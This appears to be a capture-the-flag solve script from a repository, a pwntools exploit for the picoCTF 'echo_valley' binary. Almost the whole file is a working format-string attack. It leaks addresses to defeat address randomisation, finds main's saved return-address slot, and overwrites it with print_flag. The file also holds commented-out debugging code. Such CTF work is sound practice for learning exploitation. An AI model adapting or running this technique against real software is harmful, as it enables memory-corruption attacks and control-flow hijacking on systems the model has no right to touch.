Files
picoctf/pwn/echo_valley/solve.py
T
2026-07-02 10:26:57 +09:00

84 lines
2.3 KiB
Python
Executable File

#!/usr/bin/env nix-shell
#!nix-shell -i python3 -p "python3.withPackages (ppkgs: with ppkgs; [ pwntools ])"
from this import s
from pwn import *
exe = ELF("./valley")
context.binary = exe
ADDR, PORT, *_ = "shape-facility.picoctf.net 65509".split()
def conn():
if args.REMOTE:
r = remote(ADDR, PORT)
else:
r = process([exe.path])
return r
def send_fmt_payload(r: remote, payload: bytes) -> bytes:
assert len(payload) < 0x100, "Payload too long"
r.sendline(payload)
r.recvuntil(b'You heard in the distance: ')
return r.recvuntil(b'\n').strip()
def debug_leak_multiple(r: remote) -> None:
for i in range(1, 35):
result = send_fmt_payload(r, f"%{i}$p".encode())
print(f"{i}, {result}")
def stage_1_leak_base_address(r: remote) -> None:
main_func_arg = 27
result = send_fmt_payload(r, f"%{main_func_arg}$p".encode())
leaked_address = int(result[2:], 16)
base_address = leaked_address - exe.symbols['main']
exe.address = base_address
print(f"Leaked base address: 0x{base_address:x}")
assert exe.address & 0xfff == 0, "Base address is not page aligned"
def stage_2_leak_main_rip_addr(r: remote) -> int:
main_rbp_offset = 20
result = send_fmt_payload(r, f"%{main_rbp_offset}$p".encode())
main_rbp = int(result[2:], 16)
main_rip_addr = main_rbp - 0x08
print(f"Leaked main's rip address: 0x{main_rip_addr:x}")
return main_rip_addr
def stage_3_overwrite_return_address(r: remote, main_rip_addr: int) -> None:
payload = fmtstr_payload(
6,
{main_rip_addr: exe.symbols['print_flag']},
write_size='short'
)
r.sendline(payload)
def main():
r = conn()
# gdb.attach(r, gdbscript='''
# break *echo_valley+137
# info proc mappings
# c
# ''')
r.recvuntil(b'Welcome to the Echo Valley, Try Shouting: \n')
# debug_leak_multiple(r)
stage_1_leak_base_address(r)
main_rip_addr = stage_2_leak_main_rip_addr(r)
stage_3_overwrite_return_address(r, main_rip_addr)
r.sendline(b'exit')
result = r.recvall()
if b"picoctf{" in result:
flag = result.split(b"picoctf{")[1].split(b"}")[0]
print(f"Flag: picoCTF{{{flag.decode()}}}")
else:
print("Flag not found in output.")
if __name__ == "__main__":
main()